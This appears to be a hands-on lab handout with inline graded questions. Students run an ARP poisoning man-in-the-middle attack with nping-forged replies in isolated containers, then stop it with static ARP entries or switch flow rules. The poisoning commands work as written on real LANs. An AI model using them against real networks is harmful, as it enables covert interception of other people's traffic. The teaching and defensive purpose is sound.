

ARP hijacking

Follow-along: play the attacker, then the defender

You have three machines on one switched LAN (100.0.0.0/24):

Role	IP	Container
gateway	100.0.0.1	100_L2_LAB_gateway
attacker	100.0.0.10	100_L2_LAB_attacker
victim	100.0.0.20	100_L2_LAB_victim

They share one Open vSwitch switch (100_L2_LAB_S1). The switch interface inside each host is 100-S1.

The attacker carries a stock Layer-2 kit; there is no bespoke exploit to run:

- **arp-scan**, **arping**: find which hosts are on the LAN and read back their MACs.
- **nping** (from the nmap project): crafts and sends the forged ARP replies that do the poisoning. You fill in every field, so you have to know the MACs first.
- **tcpdump**: watch the traffic you divert.
- **arpwatch**: the detection side; it logs when an IP's MAC changes underneath it.

IP forwarding is already on (step 4 covers why), so the attacker can relay what it intercepts. A one-shot script, **arp-poison**, is also on the box as a baseline. This walkthrough ignores it and runs the attack by hand so you see each MAC you need and each packet you send.

Open a shell wherever a step says so with:

```
docker exec -it <container> bash
```

Assessment. This lab is graded on fifteen questions, marked inline below as **Question N**, each placed at the step whose output it asks about. Answer all fifteen in a separate document as you work through the steps. Every question is answered from what you see on screen at that step; none needs anything beyond the lab in front of you.

Part 1: the attack

1. **Confirm the honest baseline.** On the victim:

```
docker exec -it 100_L2_LAB_victim bash
ping -c2 100.0.0.1          # reaches the gateway
ip neigh show               # 100.0.0.1 maps to the GATEWAY's real MAC
```

Write down the gateway's MAC. Leave this shell open; you will watch this line flip.

Question 1. The victim's **ip neigh** shows 100.0.0.1 at the gateway's real MAC. What exchange placed that entry in the cache, and what does the victim broadcast to fill it when the entry is missing?

2. **Recon: find the MACs.** The forged packets need three addresses. On the attacker, scan the whole subnet and read them off:

```
docker exec -it 100_L2_LAB_attacker bash
arp-scan --interface=100-S1 --localnet      # every host on 100.0.0.0/24, with
its MAC
```

That lists the gateway (100.0.0.1) and the victim (100.0.0.20). Want to confirm one directly? `arping` pulls a single host's MAC straight from its reply:

```
arping -c1 -I 100-S1 100.0.0.1             # the gateway's MAC
```

And your own MAC, the address you are about to pass off as both the gateway and the victim:

```
cat /sys/class/net/100-S1/address          # the attacker's MAC
```

Record three values before moving on: **attacker MAC**, **victim MAC**, **gateway MAC**. Every command below substitutes them in.

Question 2. `arp-scan --localnet` returns every host on 100.0.0.0/24 with its MAC. What does `arp-scan` put on the wire to make each host answer, and why does the switch deliver that probe to all of them?

Question 3. The forged replies in step 5 carry all three MACs. State the role the attacker MAC, the victim MAC, and the gateway MAC each play in the packets you send.

3. **Start the capture.** In a second attacker shell, watch the traffic you are about to steal:

```
docker exec -it 100_L2_LAB_attacker bash
tcpdump -n -i 100-S1 icmp
```

This stays silent while the victim pings the gateway: the switch only forwards those frames between the victim and gateway ports, not to you. That is what you are about to change.

Question 4. With the capture running, `tcpdump` stays silent while the victim pings the gateway. Explain why, in terms of how the switch forwards a unicast frame once it has learned which port owns the destination MAC.

4. **Confirm you can relay.** A transparent MITM forwards what it intercepts, so the victim keeps working and sees nothing wrong. That needs IP forwarding on:

```
sysctl net.ipv4.ip_forward                # expect: net.ipv4.ip_forward = 1
```

It is already 1 here, set when the container was created. These containers mount `/proc/sys` read-only, so `sysctl -w ...` fails from inside; on a real host you would turn it on yourself first with `sysctl -w net.ipv4.ip_forward=1`.

Question 5. IP forwarding is on for the attacker. If it were off while the poisoning ran, what would the victim see when it pinged the gateway, and why would that give the attack away?

5. **Poison both caches by hand.** ARP has no authentication: a host believes the last reply it hears. Send the victim a forged reply that says “the gateway 100.0.0.1 is at MY MAC”. `nping` builds the exact packet; you supply every field (swap in the MACs from step 2):

```
nping --arp --arp-type ARP-reply \  
      --arp-sender-ip 100.0.0.1 --arp-sender-mac <attacker-mac> \  
      --arp-target-mac <victim-mac> --dest-mac <victim-mac> \  
      -e 100-S1 --rate 2 -c 0 100.0.0.20
```

What each field does:

- `--arp-sender-ip` / `--arp-sender-mac`: the lie itself, “100.0.0.1 lives at the attacker’s MAC.”
- `--arp-target-mac` / `--dest-mac` / the trailing 100.0.0.20: address and deliver the reply, unicast, to the victim.
- `--rate 2 -c 0`: two replies a second, forever (Ctrl-C to stop). ARP entries age out, so you keep re-asserting the lie until you are done.

That diverts the victim’s outbound traffic to you. To also catch the gateway’s return traffic (a full bidirectional MITM), mirror the poisoning in a third attacker shell, this time impersonating the victim to the gateway:

```
nping --arp --arp-type ARP-reply \  
      --arp-sender-ip 100.0.0.20 --arp-sender-mac <attacker-mac> \  
      --arp-target-mac <gateway-mac> --dest-mac <gateway-mac> \  
      -e 100-S1 --rate 2 -c 0 100.0.0.1
```

Question 6. ARP accepts an unsolicited reply. In the first `nping` command, which two fields together are the lie, and what does the victim’s cache then hold for 100.0.0.1?

Question 7. The command sends `--rate 2 -c 0`: two forged replies a second, without stopping. Why does a single reply not hold the hijack, and what undoes the poisoning if the attacker stops sending?

Question 8. Poisoning the victim alone already diverts its outbound traffic. What traffic does the attacker still not see until it also poisons the gateway, and why does that traffic reach the victim directly otherwise?

6. **See the hijack.** Back on the victim:

```
ip neigh show          # 100.0.0.1 now maps to the ATTACKER's MAC  
ping -c2 100.0.0.1     # STILL works: your forwarding relays it, nothing  
                        looks wrong
```

On the attacker’s `tcpdump` you now see the victim-to-gateway ICMP flowing **through you**. That is the whole point: interception with no loss of connectivity, so the victim has no obvious signal. This is the confirmed attack.

Question 9. After the poisoning, the victim’s `ping 100.0.0.1` still succeeds. Why does keeping the victim connected make this attack harder to notice than one that dropped the traffic?

Part 2: the defence

Your job on the defender side is to make the poisoning fail. Two approaches; try either.

Option A: static ARP on the hosts

Pin the real binding so a forged reply can't overwrite it. On the victim (use the gateway's real MAC, the one you read in step 2 or would get from an admin):

```
ip neigh replace 100.0.0.1 lladdr <gateway-mac> nud permanent dev 100-S1
```

Do the mirror on the gateway for 100.0.0.20. Now re-run the attack: restart the two `nping` commands from step 5. The victim's cache no longer changes, and the attacker's `tcpdump` goes quiet.

Reference solution: `solution/static_arp.sh` (applies both entries for you).

Question 10. The entry is installed with `nud permanent`. Explain why a forged reply can no longer change the victim's cache once the binding is permanent.

Question 11. Pinning entries by hand works for these three hosts. On a LAN with 400 hosts, why does this defence stop being practical, and who carries the cost?

Option B: Dynamic ARP Inspection on the switch

The switch can reject ARP whose sender IP and MAC don't match a known-good binding. The stock switch image has no such rule, so you add OpenFlow rules to `br0` that permit only the correct (IP, MAC) pairs and drop the rest. Everything below runs on the switch, not on a host.

Open a shell on the switch and read the flow table it forwards with now:

```
docker exec -it 100_L2_LAB_S1 bash
ovs-ofctl dump-flows br0          # stock image: no ARP rules, so ARP flows freely
```

The stock `d_switch` ships no OpenFlow rules, so `br0` acts as a plain learning switch and passes every ARP reply, forged or not. You replace that with an explicit policy.

Build the policy from the three real bindings. You recorded the attacker, victim, and gateway MACs in step 2; those (IP, MAC) pairs are the only ARP the switch should accept. Swap them into the permit rules:

```
ovs-ofctl del-flows br0
ovs-ofctl add-flow br0
    "priority=200,arp,arp_spa=100.0.0.1,arp_sha=<gateway-mac>,actions=NORMAL"
ovs-ofctl add-flow br0
    "priority=200,arp,arp_spa=100.0.0.20,arp_sha=<victim-mac>,actions=NORMAL"
ovs-ofctl add-flow br0
    "priority=200,arp,arp_spa=100.0.0.10,arp_sha=<attacker-mac>,actions=NORMAL"
ovs-ofctl add-flow br0 "priority=100,arp,actions=drop"
ovs-ofctl add-flow br0 "priority=10,actions=NORMAL"
```

What each priority does:

- `priority=200`: permit ARP whose sender IP and MAC are a real pairing and forward it like a normal switch (NORMAL), one rule per honest host.

- **priority=100:** drop any other ARP. The forged reply from step 5 (sender IP 100.0.0.1, sender MAC the attacker's) matches no permit rule, so it lands here.
- **priority=10:** forward all non-ARP traffic as **NORMAL**. Adding explicit flows removes the bridge's built-in forwarding, so without this line the pings stop too.

Re-run the attack: restart the two **nping** commands from step 5. The forged replies now match the priority-100 drop and never reach their target. Confirm it on the switch:

```
ovs-ofctl dump-flows br0          # the drop rule's n_packets climbs as nping fires
```

The victim's **ip neigh** keeps the real gateway MAC, and the attacker's **tcpdump** stays empty.

Reference solution: `solution/ovs_dai.sh`.

Question 12. The forged reply from step 5 lands on the **priority=100,arp,actions=drop** rule. Give its sender IP and sender MAC, and explain why it matches no **priority=200** permit rule.

Question 13. The policy ends with **priority=10,actions=NORMAL**. What stops working if you leave that line out, and why does installing explicit flows make it necessary?

Question 14. The permit rules pair each IP with one correct MAC, typed in by hand here. On a production switch the same table is built without an operator typing MACs. Which switch feature builds it, and where does it get the bindings?

After either defence, 100.L2.LAB.victim's ARP cache keeps the real gateway MAC even while the **nping** poisoning runs, and the attacker's capture stays empty. The attack is stopped.

Question 15. Option A defends one host at a time; Option B enforces the bindings at the switch. Which of the two still protects a host that has no static ARP entries of its own, and why?

Checks: what “done” means

- **Attack works:** the victim's **ip neigh** shows the attacker's MAC for 100.0.0.1, and the attacker's **tcpdump** shows victim-to-gateway traffic.
- **Defence holds:** with the mitigation in place and the **nping** poisoning still running, the victim's **ip neigh** keeps the **real** gateway MAC and the attacker's capture is empty.

`scripts/status.sh` prints each host's ARP cache and victim-to-gateway reachability, so you can read the before and after without shelling in. `scripts/reset.sh` stops the attack and returns everything to the Part-1 baseline; `scripts/teardown.sh` removes the lab.

Safety. Everything here lives on one isolated Open vSwitch bridge with no route off the host. The forged ARP only ever reaches the lab's own containers.